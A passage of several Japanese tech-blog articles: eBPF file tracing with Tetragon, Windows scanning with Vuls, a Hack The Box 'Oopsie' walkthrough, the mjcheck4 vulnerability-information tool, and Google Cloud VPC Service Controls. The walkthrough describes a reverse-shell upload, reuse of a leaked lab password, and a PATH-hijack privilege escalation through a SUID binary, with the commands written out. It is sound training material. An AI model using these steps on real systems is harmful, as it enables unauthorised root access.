ちなみにTetragonの長いjsonログをパースして必要に応じてフィルタリングして、見やすく表示してくれる tetra というCLIツールがあります。

kubectl logs -n kube-system -l app.kubernetes.io/name=tetragon -c export-stdout -f | tetra getevents --namespace default  -o compact

🚀 process default/test /bin/sh
💥 exit    default/test /bin/sh  0

ファイルアクセスの監視

別のユースケースとして、コンテナ内のファイルアクセスをトレースしてみましょう。コンテナ内のファイルを書き換えることによって例えばWebコンテンツの改竄をすることが可能になるので、そういったイベントは検知するべきです。

Tetragonでは、TracingPolicyというCRDを作成することでトレースしたいカーネル関数を動的に指定できます。ファイルアクセスをトレースしたい場合、その時に呼ばれるカーネル関数やシステムコールをトレースするTracingPolicyを作るということになります。

ここでは /etc/ ディレクトリ内のファイルを読み書きしている様子をトレースしてみましょう。Tetragonのexamplesとして提供されているmanifestを使います。

apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: "sys-read-follow-prefix"
spec:
  kprobes:
  - call: "fd_install"
    syscall: false
    return: false
    args:
    - index: 0
      type: int
    - index: 1
      type: "file"
    selectors:
    - matchPIDs:
      - operator: NotIn
        followForks: true
        isNamespacePID: true
        values:
        - 1
      matchArgs:
      - index: 1
        operator: "Prefix"
        values:
        - "/etc/"
      matchActions:
      - action: FollowFD
        argFd: 0
        argName: 1
  - call: "sys_close"
    syscall: true
    args:
    - index: 0
      type: "int"
    selectors:
    - matchActions:
      - action: UnfollowFD
        argFd: 0
        argName: 0
  - call: "sys_read"
    syscall: true
    args:
    - index: 0
      type: "fd"
    - index: 1
      type: "char_buf"
      returnCopy: true
    - index: 2
      type: "size_t"
  - call: "sys_write"
    syscall: true
    args:
    - index: 0
      type: "fd"
    - index: 1
      type: "char_buf"
      sizeArgIndex: 3
    - index: 2
      type: "size_t"

kubectl apply -f sys_write_follow_fd_prefix.yaml

試しに実験用のPod内で /etc/passwd を編集してみましょう。

kubectl exec -it busybox -- /bin/sh
/ # vi /etc/passwd

Tetragonのログを見るとファイルの open read close をトレースできています。

🚀 process default/busybox /bin/vi /etc/passwd
📬 open    default/busybox /bin/vi /etc/passwd
📚 read    default/busybox /bin/vi /etc/passwd 340 bytes
📪 close   default/busybox /bin/vi
💥 exit    default/busybox /bin/vi /etc/passwd 0

/etc/ ディレクトリ以外のファイルへの書き込みはトレースされません。なぜなら、eBPFプログラムがトレーシング対象のカーネル関数の引数として渡されるファイル名を取得し、フィルタリングしているからです。

Tracing Policyの内容の詳しく見て行きましょう。一部を取り出してみました。

spec:   
  kprobes:
  - call: "fd_install"
    syscall: false
    return: false
    args:
    - index: 0
      type: int
    - index: 1
      type: "file"
    selectors:
    - matchPIDs:
      - operator: NotIn
        followForks: true
        isNamespacePID: true
        values:
        - 1
      matchArgs:
      - index: 1
        operator: "Prefix"
        values:
        - "/etc/"
      matchActions:
      - action: FollowFD
        argFd: 0
        argName: 1

kprobeというのは先ほども出てきましたが、カーネルの関数に動的に処理を差し込むための仕組みなのでした。spec.krpobes より下の階層はつぎのような意味です。

• callにはトレース対象のカーネル関数を定義します。今回はfd_installが対象です。この関数はファイルテーブルに新しいファイル記述子を割り当てる関数、、、早い話がファイルオープン時に必ず呼ばれる関数です。この関数にkprobeを使ってeBPFプログラムをアタッチする、ということです。fd_install` の引数の0番目はint型、1番目はfileという構造体であり、これらの引数をトレースに含めます。
• selectors以下はフィルタリング条件と、フィルターにマッチしたときの挙動を定義しています。
  • matchPID
    • PID Namespace内でpid=1ではないプロセスに対してトレースする（つまりコンテナで動かす本来のプロセスはpid 1なのでトレース対象外で、 kubectl exec などで実行したプロセスがトレース対象となります）
  • matchArgs
    • indexの1番目=fileのprefixが etc の場合にトレースする。
  • matchActions.action: FollowFD
    • カーネル関数に渡されたファイル記述子とファイル名をBPF mapに保存する。

他のspec.kprobe以下の部分も同じように、どの関数にeBPFをアタッチするかを定義しています。

FllowFDによってBPF mapに保存されたファイル記述子は、他の関数にアタッチされたeBPFからルックアップされます。今回のTracingPolicyだとsys_read()にアタッチされたeBPFが、関数の引数として渡されるファイル記述子がBPF mapに保存されているものかどうかを参照し、そうであればトレースする、という挙動をとります。

今までトレーシング機能を紹介してきましたが、フィルタリング条件に合致するイベントを検出した際に、プロセスに直接SIGKILLを送出する、といったことも可能です。

おわりに

eBPFとeBPF製品Tetragonに入門にしてみました。Tetragonの親プロジェクトのCiliumでは、eBPFでネットワークを効率化しています。主要クラウドプロバイダーのKubernetesサービスでは、Ciliumが使用できるようになっており、例えばGoogle CloudのGKEではDataplane V2というモードで提供されています。暇があればCilium, eBPF+ネットワークも勉強したいなと思います。

TetragonやBCCの公式ドキュメントのほか、以下のブログを参考にしました。

https://blog.yuuk.io/entry/2021/ebpf-tracing

https://gihyo.jp/admin/serial/01/ubuntu-recipe/0688

こんにちは。ペンギンになりたい見習いエンジニア、島ノ江です。

現在はFutureVulsという脆弱性管理クラウドサービスで、開発とサポートなどを担当しています。

未だよちよち歩きの新米ですが、今回は弊チームがOSSとして公開しメンテナンスしている「Vuls」の新機能についてご紹介させていただきたいと思います。

脆弱性とその検知

皆さんは、自社が保有するサーバやソフトウェアに脆弱性がないかどうか、どのようにチェックしていますか？ 脆弱性を放置したまま運用すると、サイバー攻撃により企業に大きな損害をもたらす恐れがあるため、対策を講じることが不可欠です。

しかし、人間が情報収集から影響調査までを手動で行う脆弱性対応には、膨大な作業量と苦痛と絶望感が伴います。

そこで我々が提供するVulsが登場します。

Vulsは、各種OVALやSecurityTrackerなどの情報、NVDやJVNなどの公開されている脆弱性情報をデータベース化し、サーバやソフトウェアの脆弱性を自動検知するツールです。

また、商用版の継続的脆弱性管理クラウドサービスであるFutureVulsでは、検知した脆弱性の自動リスク判定やチケット機能による差分管理機能などを提供しており、脆弱性管理の一連の作業を自動化できます。

1万 GitHub Star目前！

そんな便利ツールのVulsですが、これまではWindowsはサポートしていませんでした。

米国の行政機関CISA(Cybersecurity & Infrastructure Security Agency)の報告によると、2021年に頻繁にサイバー攻撃に利用された注意すべき脆弱性上位 15位のなかでWindowsのものは半数を超えています。 そして、Windowsのアップデートや脆弱性の管理は特に重点的に行う必要があるものの、継続的にメンテナンスされているOSSのWindows用脆弱性スキャナはごく少数なのが現状です。

「クッ、やはりWindowsの脆弱性検知は商用版を買うしかないのか…これがOSSの限界か…」と悩んでいたそんなあなたに朗報です！

これまでクラウドサービス版向けに提供されていた、Windowsスキャン機能が移植され、OSSのVulsでもWindowsをスキャンできるようになりました。

参考）継続的脆弱性管理サービス「FutureVuls」Windowsのための脆弱性スキャナをOSS化

この新機能を紹介するため、今回の記事ではWindowsサーバのスキャンを試していきます！

WindowsサーバでVulsの脆弱性スキャンを試す

実際にWindowsサーバにVulsの実行環境を作成して、サーバスキャンをやってみようと思います。

今回は筆者の自宅にあったWindows Server 2012を対象としています。

実行手順は以下の通りです：

1. スキャンをするvuls、脆弱性データベースを作成するgostの実行ファイルをそれぞれ取得する。
2. gostを実行して、Windowsで検知するためのDBを作成する
3. vuls.exe scan, vuls.exe reportにより検知し、結果を確認する。

たったのこれだけで脆弱性の検知ができます、簡単ですね！
以下で実際の作業手順を見ていきます。

実行ファイルの取得

GitHubリポジトリから自分の環境に併せて実行ファイルをダウンロードします。

• vuls：こちらから最新バージョンのvuls実行ファイルを選択
• gost：こちらから最新バージョンのgost実行ファイルを選択

検知用の脆弱性データベースの作成

次にWindowsで検知するためのデータベースをローカルに作成します。

gost.exe fetch microsoft

その後、スキャン用の設定ファイル（config.toml）を作成して、ここで作成したデータベースへのパスを定義します（以下のsqlite3Pathの部分を各自の環境に併せてください）

# config.toml の内容
[gost]
type = "sqlite3"
sqlite3Path =  "C:\\Users\\User\\vuls\\gost.sqlite3"  # ここを編集
[servers]
[servers.localhost]
host = "localhost"
port = "local"

スキャンとレポートを実行する

以上でWindowsスキャンの準備が完了したので、スキャンを実行します。

vuls.exe scan

最終的なスキャン結果が表示されます。

検出した脆弱性の一覧を表示してみましょう。

vuls.exe report

自分のサーバで見つかった脆弱性と、それらのCVSSスコアなどが表形式で表示されました。

WindowsのアップデートはKBという単位で提供されていますが、インターネットの情報ではKBとCVSSスコアなどを関連付けるのが手間でした。Vulsを使うと、未適用なKBに含まれる脆弱性をCVEに展開してくれて、さらにそのCVSSを表示してくれるので対応有無を判断しやすくなります。

なお、評価が0.0や？ になっているものは、CVSSスコアが設定されていないものです。

通常の煩雑な脆弱性検知のプロセスを、簡単な導入手順で自動化できるのは楽ですね！ 最終的な出力結果も表形式になっていてとても見やすいです。

まとめ：脆弱性スキャナといえばVulsでしょ

Vulsのスキャナは、どなたでも無償で利用できるオープンソースのツールです。

今回はWindowsスキャンについて紹介しましたが、Vulsは様々なOSに対応しています。脆弱性検知のツールの１つとして是非ご活用ください。

ただし、脆弱性は見つけるだけでは意味がありません。リスクに応じて適切に対応するまでが脆弱性対応です。クラウド版のFutureVulsでは、Vulsで検知した脆弱性の対応優先度の自動判断から解消までのサポートを提供しています。

以上でOSSのVulsで行うWindowsスキャンの紹介を終えたいと思います。

良ければいいね・ツイートなどで共有をお願いします！

金融グループ所属、2022年4月入社の藤戸四恩です。春の入門ブログ連載の7本目です。

2022年のアドベントカレンダーでHack The Boxのstarting pointを解いてみたの記事を書きました。今回も「Hack The Box」のStarting PointのTIER2のOopsieを解いてみたので感想を書きたいと思います。

Hack The Boxとは

Hack The Boxとは、サイバーセキュリティスキルの向上トレーニングができるオンラインプラットフォームです。

仮想の環境が用意されており、脆弱性をついてflagの取得を目的としています。

Starting Pointとは

Starting Pointとは、Hack The Boxを行う上での基礎的なことを学ぶことができる、チュートリアルです。Starting Pointには、TIER0、TIER1、TIER2の3つあります。各問題にTASKが複数あり、最後にflagを取るための誘導になっています。

Oopsie

TIER2の問題からroot.txtとuser.txtの2つフラグを取得する必要があります。

問題はTASK1 ~ TASK10とroot.txtとuser.txtの中身を提出する12問から構成されています。

TASK1

With what kind of tool can intercept web traffic?

どのようなツールでWebトラフィックを傍受できるか?　と問われています。
こちらは、proxyと回答すればよいです。

TASK2

What is the path to the directory on the webserver that returns a login page?

ログインページを返す Web サーバー上のディレクトリへのパスは何ですか?　と問われています。

http://{IPアドレス} にアクセスしBurp Suiteを使用しながらリクエストを眺めます。

内容は下図のようになります。

cdn-cgi/login ディレクトリが存在しているのがわかるので、http://{IPアドレス}/cdn-cgi/login にアクセスしてみます。

Loginページを見つけることができました。

よって、cdn-cgi/loginと回答すればよいです。

TASK3, 4

TASK3の問題

What can be modified in Firefox to get access to the upload page?

TASK４の問題

What is the access ID of the admin user?`

TASK3は、アップロードページにアクセスするには、Firefoxで何を変更できますか?と問われており、TASK４は、admin ユーザーのアクセスIDを問われています。TASK2のログインページでLogin as Guestのリンクがあるのでクリックしてみます。

ヘッダーのAccountをクリックしてみます。

URLがhttp://{IPアドレス}/cdn-cgi/login/admin.php?content=accounts&id=2とguestの時idが2となっています。そこでid=1にしてURLを叩いてみます。

adminユーザのIDがわかりました。

よって、TASK3の回答がcookieで、TASK4の回答が34322となります。

TASK5

On uploading a file, what directory does that file appear in on the server?

ファイルをアップロードすると、そのファイルはサーバー上のどのディレクトリに表示されますか?と問われています。

TASK3,4でadminユーザはID34322と分かったので、Cookieのuserを34322、roleをadminに変更し、uploadsをクリックします。

ファイルをアップロードするとThe file {ファイル名} has been uploaded.と表示されます。

gobusterをつかって、探索してみます。

uploadsがありました。よって、回答はuploadsです。また、ファイルをアップロードするとuploads配下にファイルが格納されそうと推測できます。

TASK6

What is the file that contains the password that is shared with the robert user?

robert ユーザーと共有されているパスワードを含むファイルは何ですか?と問われています。

実際にアクセスしてみます。

権限がないと怒られます。

php-reverse-shellをファイルアップロードして、reverse-shellを試みます。

lsコマンドで色々探してると、/var/www/html/cdn-cgi/login配下にdb.phpファイルが存在します。
db.phpファイルをcatしてみます。

$ cat db.php
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>

MySQLへの接続情報が記載されています。よって、設問の解答はdb.phpになります。

TASK7

What executible is run with the option "-group bugtracker" to identify all files owned by the bugtracker group?

bugtrackerグループが所有するすべてのファイルを特定するために、オプション “-group bugtracker” を付けて実行される実行ファイルは何か？ と問われています。

whoamiコマンドを実行すると www-dataと表示されます。

$ whoami
www-data

robertに切り替えたいと考えたのですが、ここで詰まってしまい、walkthroughを確認してしまいました。

• Hack The Box は Starting Pointの問題は、walkthroughという回答が用意されています。

walkthroughを確認すると、どうやらPythonの実行環境があるらしいので、上図のように実行します。

※なぜptyをimportしているかはこちらの記事が参考になりました。¹

robertにユーザを変更します。

su robert

パスワードはMySQLの接続情報に記載されていたM3g4C0rpUs3r!を入力するとユーザを切り替えできました。
bugtrackerに属するファイルを探します。

$ find / -group bugtracker 2>/dev/null
> /usr/bin/bugtracker

何やら怪しげなファイルがありました。設問の回答としては、findです。

TASK8

Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?

どのユーザーがbugtracker実行ファイルを実行し始めたかに関わらず、実行するために使用するユーザー権限は何ですか？ と問われています。こちらの回答はrootになります。

TASK9

What SUID stands for?

SUIDは何を表すかを問われています。SUIDについて知らなかったため調べてみました。²

SUIDとは、Set owner User IDの略で、セットしたUserIDでファイルが実行されるそうです。

よって回答としては、Set owner User IDになります。

TASK10

What is the name of the executable being called in an insecure manner?

安全でない方法で呼び出されている実行ファイルの名前は何ですか？ と問われています。

TASK7でbugtracker　グループに属しているファイルを実行してみます。

$ /usr/bin/bugtracker

------------------
: EV Bug Tracker :
------------------

Provide Bug ID: hoge
---------------

cat: /root/reports/hoge: No such file or directory

実行するとidを聞かれ、hogeと入力すると出力結果には、cat: /root/reports/hoge: No such file or directory と表示されていることがわかります。

つまり、このファイルは /root/reports/ 入力値のファイルを cat していることがわかります。

設問の解答としては、catになります。

user.txtの取得

user.txt は既に /home/robert/ 配下に存在しているのでその中身を取得すればよいです。

root.txtの取得

/usr/bin/bugtrancker は root ユーザとして実行される。
cat を自分の作成したファイルを呼び出したい。
そこで、 /tmp 配下に cat ファイルを作成し、

cd /tmp
touch cat
chmod +x cat

また、 cat ファイルの中身に /bin/bash を書き込みます。

echo "/bin/bash" > cat
export PATH="/tmp:$PATH"

これにより、/usr/bin/bugtrackerを実行し、 whoami を実行すると root ユーザでシェルが立ち上がっているのが確認できます。

あとは /root 配下のフラグを提出すれば完了です。

まとめ

今回は権限昇格がポイントでした。

権限昇格の部分で非常に詰まりました。

TIER2以降では権限昇格は必要な知識なので、しっかり使えるようになることが大切だと感じました。

明日の記事は、渡邉さんのPulumiで始めるIaC入門です。

部門名の通り、サイバーセキュリティに関する部署で、セキュリティコンサルティングやFutureVuls（ https://vuls.biz）という脆弱性対策サービスのコンサルティングやサポートをしています。

はじめに

春の入門祭り2023 という事で、初めて脆弱性対応をする方 に向けた記事を書いてみようと思います。
この時期になると、部門移動等で情報システム部に移動し「何をやっていいのか分からない…」という話も時々聞きます。

今回は、IPAのmjcheck4 というツールを使った、 セキュリティ情報の収集 についてお話しようと思います。

セキュリティ情報収集とは

世の中にはセキュリティ情報はいろいろあります。
例えば、雑に説明すると以下のようなものがあります。

• 攻撃手法、攻撃者の動向に関する情報
  • 攻撃がどのように進むのかや、攻撃者グループの動向などの情報を示します。
  • これらの情報は、例えば、MITRE ATT&CKのGroups（ https://attack.mitre.org/groups/）などにも記載されています。
• IoC（Indicator of Compromise：侵害指標）の情報
  • マルウェアのファイル名や攻撃者の通信先IPアドレスなど、攻撃時に残された痕跡情報を示します。
  • 例えば、「特定のIPがIoCとして公開されたので ProxyやFirewallのブロック対象に追加する」「ネットワーク機器のログに該当のIPが存在すれば、攻撃を受けている可能性がある」、のような使い方をします
• 脆弱性に関する情報
  • ソフトウェア等の脆弱性に関する、発見やPoC/Exploit（検証や悪用ができる実証コード）、更新プログラムの提供や回避策などの情報を示します。
  • 一般的に、脆弱性情報はNIST（National Insitute of Standards and Technology：米国立標準技術研究所）のNVD（National Vulnerability Database：脆弱性情報データベース）に登録され、日本国内で主に使われる製品はJVN（Japan Vulnerability Notes）に登録されていきます。
    • 例えば、Log4Shellとして有名な脆弱性 CVE-2021-44228 の情報は、 https://nvd.nist.gov/vuln/detail/CVE-2021-44228 のように公開されています。
  • これらを、「いろいろなソースを集約」して「自分が利用している製品に絞って閲覧」するためには、何らかのツールや製品が必要になります。
    • 今回紹介する mjcheck4 もそのツールのうちの一つです
• インシデントに関する情報
  • 実際に発生した被害の状況や傾向に関する情報です。
  • 一般的には、セキュリティ系のネットニュースなどを参考にすることが多いと思います。
• etc

今回は、「初めてのセキュリティ情報収集」という事で、一番身近で活用しやすい「脆弱性情報の収集」について書いていきます。

IPA（独立行政法人 情報処理推進機構）とJPCERT/CC（JPCERTコーディネーションセンター）が共同運営している脆弱性対策情報 JVN iPedia（ https://jvndb.jvn.jp/apis/myjvn/）のデータを基に使う、脆弱性対策情報収集ツール mjcheck4 を見ていきます。

mjcheck4とは

ツールのページ https://jvndb.jvn.jp/apis/myjvn/mjcheck4.html を確認すると、「MyJVN脆弱性対策情報フィルタリング収集ツール（check）の4番目」の略称と思われます。
日本国内向け製品の脆弱性情報も含まれる「JVN iPedia」の情報を簡単に利用するためのツールです。

• 脆弱性対策情報収集対象製品を、、
  • グラフィカルに選択可能
  • SBOMでの入力も可能
• 収集した脆弱性情報を、、
  • 画面上で閲覧可能
  • メール、SBOM、での出力が可能

今回はこのツールを使い、自組織が利用している製品の脆弱性を自動的に収集してみましょう。

使い方

導入自体は MyJVNのページ（ https://jvndb.jvn.jp/apis/myjvn/mjcheck4.html#mjcheck4_install）通りですので、省略します。

• 利用規約について同意する
• 対象のファイルをダウンロードし、setup.exeを用いてインストールする
• 収集対象製品を選定し、データのダウンロード
• 収集した脆弱性情報を閲覧

Windowsアプリケーションとして実装されているので、特に難しい事は無いと思います。
利用している製品を登録することで、JVN iPediaに脆弱性が登録されていれば通知がされる仕組みになっています。

• バージョン番号は使わず、特定日以降の日付で発見されたもの、というチェック方法です。
  • そのため、まずは該当製品の過去の脆弱性を全件抽出し、現状を把握する必要があります。「収集起点日（最終更新日）」で指定ができます。
  • 一度チェックが終われば、あとは「新しく報告された脆弱性」を確認するだけになります。

設定

収集状況概要

脆弱性情報詳細

本ツールもそうですが、脆弱性検出の為にはソフトウェアの一意の特定が必要で、PCEという表記を利用しています。今回はこれについても説明します。

CPEとは

CPEは「Common Platform Enumeration：共通プラットフォーム一覧」と呼ばれる、ソフトウェアやファームウェアを一意で識別するための仕組みです。詳細はIPAの https://www.ipa.go.jp/security/vuln/
scap/cpe.html で解説がされています。

• cpe:2.3:{種別}:{ベンダ名}:{製品名}:{バージョン}:{アップデート}:{エディション}:{言語}の構造です
• 脆弱性管理製品にCPEを登録することで、OSベンダーパッケージ提供以外の製品の脆弱性を検知することを想定しています
  • CPE登録 -> 脆弱性情報で「影響を受ける製品」として登録されるCPEとマッチング -> 該当すれば、その脆弱性が内包されると判断します

NVDであればSearchCommonPlatformEnumerationsというページで検索ができるのですが、例えば以下のようになります。

• FortiOS（ForinetのFortigate製品のOS）
  • cpe:2.3:o:fortinet:fortios:7.2.4:*:*:*:*:*:*:*で表現されます
  • 後半の*は、エディションや言語などが想定され、通常は*のままで利用されています
• Fortigate 1000e（ハードウェア）
  • cpe:2.3:h:fortinet:fortigate-1100e:-:*:*:*:*:*:*:*で表現されます

mjcheck4はバージョン2.2の表記方法を使っているようで、アップデート以降の表記が上記と異なっていますが、意図としては同じものです。
以下にFortiOSの例を示します。

• version 2.2
  • cpe:/o:fortinet:fortios:7.2.4
  • シンプルに、バージョンまでを表現しています
  • mjcheck4のCPEはこのタイプです
• version 2.3
  • cpe:2.3:o:fortinet:fortios:7.2.4:*:*:*:*:*:*:*
  • CPEのバージョンを示す:2.3:部分が追加されています
  • 製品バージョン以降に、詳細な分類をするための項目（:{アップデート}:{エディション}:{言語}）が用意されています
    • 用意されていますが…、あまり使われていない印象です。しかしながら、項目として用意されていること、が重要です。

OS標準パッケージ以外の製品（ソフトウェアだけではなく、ハードウェアも含めて）の脆弱性管理をする場合、このCPEというものをよく使うので、おおよそのフォーマットは覚えておいた方が良いです。

脆弱性情報収集後の対応

検出後の対応については本ツールの範囲外ですが、概要を書いておきます。

一般的には下図のようなフローを随時回していくことになります（状況により諸説あります）。

簡略化すると以下のようになり、本ツールは「脆弱性情報の収集」部分となります。

• 対象のソフトウェアを設定する部分が「対象の把握」に該当します
• ツールによるチェックが「脆弱性情報の取集」に該当します

収集した脆弱性情報を確認し、適用要否を判断し、実際に適用/回避策の適用 を行います。

• クライアントな端末の場合、多くは判断不要でアップデートができると思います。
  • 例：Windows自身のアップデートや、Google Chromeなどのアプリケーションのアップデート
• サービス提供をしているネットワーク機器やサーバの場合、適用要否を検討して対応を決めます。
  • アップデートによる挙動変化が無い、若しくは許容できることを確認するために、検証が必要です。
  • アップデートを行わないことにより発生する損害リスクを考慮し、許容できる場合は対応保留とする場合もあります。
  • これらの判断の為に、「脆弱性対策情報」の詳細項目を確認します。
    • CVSSの情報などを基に、システムが置かれている環境などを考慮して決定します。

本ツール mjcheck4 は、脆弱性対策情報の内容が少し分かりづらいかもしれませんが、「脆弱性対策のはじめの一歩」としては有効だと思われます。

• Pros
  • 無償で、JVN iPediaの情報を収集/選別できる
    • きちんと設定できれば、一旦は問題ない範囲を対象と出来る
  • メールでの通知機能がある
  • 対象製品登録が、GUI的に比較的楽
• Cons
  • 脆弱性対策情報が少ない
    • JVN iPediaの情報のみで、CVSSでしか判断できない（慣れてくると、物足りない）
  • 自動運行が難しい
    • アプリ起動時にチェックが走る為、例えば毎日起動しなおす必要がある
  • ソースがJVN iPediaである
    • NVDやベンダーの脆弱性情報が全てあるわけではない
      • これにより、例えば UbuntuやRed HatなどのLinuxサーバの脆弱性を確認するのは難しい
  • バージョン比較はできない
    • mjcheck4のUIでは、対象製品のバージョンまでは登録できない
      • 例えば、cpe:/a:oracle:java_seのような記載となり、java SEのバージョンまでは記載しない
    • 特定バージョンのみ影響を受けるような脆弱性の場合、バージョンを考慮していないので手動で影響対象かを判別する必要がある

まだ脆弱性情報収集と対策を本格的に実施していない組織においては、以下のステップを踏んだ方がよさそうです。

• まずはmjcheck4でを使う
  • mjcheck4 で、主要なクライアント／サーバ/ネットワーク機器 などを登録して、現状を把握する
    • 登録するために、現状を確認するというアクションが行える
• 一部に於いて、脆弱性対応を始めてみる
  • 前述の対応フローを参考に、脆弱性情報を読みながら、できるところから対応をしてみる
  • 一部ずつ始め、できる範囲を増やし、対応に関する知見を得る
• 商用製品の脆弱性管理ツールを検討する
  • 商用製品であれば、mjcheck4で不足していると感じる部分が提供されていることが多いので、乗り換える
    • 対応のタスク管理機能、バージョンによる脆弱性の有無判断、対応優先度決め、多数の環境への対応、等

まとめ

mjcheck4は、比較的簡易にセキュリティ情報収集を始められることが確認できました。

脆弱性情報を収集した後の「脆弱性対応」をするには少し物足りないものですが、「まずはやってみる」という点では良いのではないかと思います。

こういうツールでまずはセキュリティ情報収集/脆弱性対応の必要性を感じつつ、大規模且つ重要なシステムは FutureVuls などの脆弱性管理サービスを使うのが良いかと思います。

もし、脆弱性対応についてお困りのことがあれば、井上までご相談ください。
製品ありきではなく、何らかの知見を共有できるかもしれません。

以上です。

次は市川さんのCloud Data Fusionで始めるETL入門です。

こんにちは、本記事ではGoogle CloudのVPC Service Controlsを利用して、リソースへのアクセス制御を行う方法についてTerraformコード付きで紹介していきたます。

昨今では、個人情報漏洩のニュースが尽きません。少し古いデータではありますが、2012年～2021年に漏洩・紛失した可能性のある個人情報は累計で1億1979万人分にのぼり、2022年を含めるともっと多くなりそうです。
個人情報漏えい、10年間で日本の人口とほぼ同じ人数分が上場企業から流出・紛失【東京商工リサーチ調べ】

セキュリティインシデントを起こさないためにも、基本的にはデータへのアクセスを拒否し、データにアクセスできる人を絞って穴あけするなど、しっかりとデータを守っておく必要があります。

そんな要求に答えるのがVPC Service Controlsになります。

VPC Service Controlsとは

VPC Service Controlsの概要

VPC Service Controlsを利用することによって、Google Cloudのリソースへのアクセスに境界を作ることができます。

例えば、BigQueryやCloud Storageに個人を特定できる情報（例：身長、体重、性別、年齢）や画像が置かれている場合、VPC Service Controlsを利用することでそれらのリソースに限られた人間のみがアクセス可能となります。

また境界の内外におけるデータ移動を制御できるため、データが境界の外へ持ち出されることも防ぎます（境界を超える通信はデフォルトでブロックされます）。

こちらの画像のように、境界（Service Perimeter）内に存在するBigQueryは認証されたVPC、VM（GCE）からのみアクセス可能となり、認証されていないリソースからは境界内へのアクセス・境界外へのアクセス共に制限されることになります。

現在、VPC Service Controlsがサポートしているリソースの一覧はこちらになります。
VPC Service Controlでサポートされているプロダクトと制限事項

Cloud IAMとは違うの？

Cloud IAMもリソースへのアクセスを制限するためのサービスで、詳細なIDベースのアクセス制御を主としています。IDベースなので例えばログインしているアカウント、所属するグループ、サービスアカウントなどを基にアクセス制御を行います。

VPC Service Controlsはそれに加えて、境界全体への上り（Ingress）・下り（Egress）データの制御など、コンテキストベースの境界セキュリティが可能となります。

コンテキストベースは、例えば「どこ（IPアドレス）」「だれ（ユーザーアカウント・サービスアカウント、グループは現在不可）」「何で（OS）」などアクセス元の背景からリソースへのアクセス可否を判断します。

どちらが良い・悪いというのは無く、併用することでより強固なセキュリティを築くことが可能となります。

BigQueryを使って挙動を確認

Organizationの設定が必要

VPC Service Controlを始めるにはOrganizationが必要となります。Organizationの設定にはドメインが必要となるため、Google Domainなどで取得する（年間1200円～）必要があります。もし、既にドメインをお持ちの場合はサブドメインを作って、それをOrganizationへ適用できます。

Organizationの作成方法は以下を参考にするとよいです。
GCP で組織を作成して共有 VPC 構築 - 1.ドメイン取得

アクセスポリシーを作成する

アクセスポリシーは、以後出てくるアクセスレベルやサービス境界など、全てのAccess Context Managerリソースのコンテナ（箱）です。

Organizationに対してOrganizationレベルのアクセスポリシーを作成し、組織内のフォルダとプロジェクトに対してスコープポリシーを作成します。

resource "google_access_context_manager_access_policy" "access_policy" {
  parent = "organizations/1234567890123"
  title  = "Test access policy"
}

parentには自身のOrganization IDを入力する必要があり、titleがOrganizationのアクセスポリシーの名前となります。

作成すると、Organization→セキュリティ→VPC Service Controls上にアクセスポリシーが作成されていることが確認できます。

ID制御をやってみる

ID制御をしてみます。
通常は画像のようにBigQueryのDataset, tableを見ることができます。

これに対して、以下のようなBigQueryへの内向きのみを許可したサービス境界を設定してみます。

アクセスレベルを作成する

アクセスレベルではリソースへのアクセスを許可する条件を定義します。
例えば、IPアドレスやID（ユーザーアカウント、サービスアカウント）を用いたアクセス条件をANDやORを使って定義でき、この条件に適したユーザーのみがリソースへアクセス可能となります。
Terraformでは以下のようにアクセスレベルを作成します。

resource "google_access_context_manager_access_level" "id" {
  parent = "accessPolicies/${google_access_context_manager_access_policy.access_policy.name}"
  name   = "accessPolicies/${google_access_context_manager_access_policy.access_policy.name}/accessLevels/specified_id"
  title  = "Specified ID"

  basic {
    conditions {
      // アクセスを許可する条件
      // ここで気を付けたいのが、メールアドレスの前にuser:をつけること
      // ServiceAccountの場合はserviceAccount:{emailid}
      // また、グループはサポートされていない
      members = [
        "user:xxx@yyy.com"
      ]
    }
  }
}

サービス境界を作成する

VPC Service Controlsの主役です。指定したサービスのリソースに対して外部アクセスから保護するための境界を作ります。

以下のようにTerraformコードを作成し、サービス境界を作成します。

resource "google_access_context_manager_service_perimeter" "service_perimeter_qiita" {
  parent = "accessPolicies/${google_access_context_manager_access_policy.access_policy.name}"
  name   = "accessPolicies/${google_access_context_manager_access_policy.access_policy.name}/servicePerimeters/restrict_bigquery"
  title  = "restrict_bigquery"
  status {
    // 境界を作るサービスを列挙する
    restricted_services = [
      "bigquery.googleapis.com",
    ]
    // 境界を作るプロジェクト
    resources = [
      "projects/123456789012" // Project IDで指定する
    ]
    // アクセスレベル
    access_levels = [
      google_access_context_manager_access_level.access_level_id.name
    ]
    // 内向きポリシー
    ingress_policies {
      ingress_from {
        // IDタイプはidentitiesで指定するため、UNSPECIFIEDになる
        identity_type = "IDENTITY_TYPE_UNSPECIFIED"
        // 内向き元のID
        identities = [
          "user:xxx@yyy.com" // メールアドレスで指定する
        ]
      }
      ingress_to {
        // 境界内のプロジェクトの内、アクセスするプロジェクト
        resources = ["*"]
        // 許可する操作
        operations {
          service_name = "bigquery.googleapis.com"
          // 許可するメソッド（API）を指定する
          // 今回は全てのメソッドを指定しているため、*になっている
          method_selectors {
            method = "*"
          }
        }
      }
    }
  }
}

アクセスレベルのmembers、サービス境界のingress_fromのidentities、どちらもID"user:xxx@yyy.com"を設定しています。

アクセスレベル側ではrestricted_services全体に対しての制御になります。今回はBigQueryのみしか入っておりませんが、Cloud Storageなど他のサービス入れることができ、restricted_servicesに入っているサービス全てにアクセスレベル側でのmembers設定が適用されます。また、アクセスレベル側で許可されている場合はIngress/Egress両方の操作が可能となります。

サービス境界側のidentitiesはTerraformコードの構成を見るとわかるように、内向き（Ingress）・外向き（Egress）で、尚且つAPI毎で適用されることになります。そのため、アクセスレベルですり抜けた場合にIngress/Egressでのポリシーが適用されます。

今回の場合だとBigQueryのみしかないのでidentitiesの指定は不要ですが、参考のために記載しております。

認証されたアカウントで確認してみる

アクセスレベルで許可されたアカウントでBigQueryを見てみると先ほどと同じようにテーブルが表示されます。

次に認証されていないプロジェクトからクエリを実行してみます。

右上に赤字でVPC Service Controls: Request is prohibited by organization's policy. vpcServiceControlsUniqueIdentifier: -ZWUwU96cNc6_jcWbyKhbCfz9canAZcNkQjPcb4uEhOY00WbG64xVw.と表示され、クエリが実行できなくなっています。
こちらの原因としては今回内向き（Ingress）のみしか許可していなかったため、サービス境界外へのデータ持ち出しが拒否されたことによるものです。

少し寄り道：ポリシー違反のトラブルシューティング

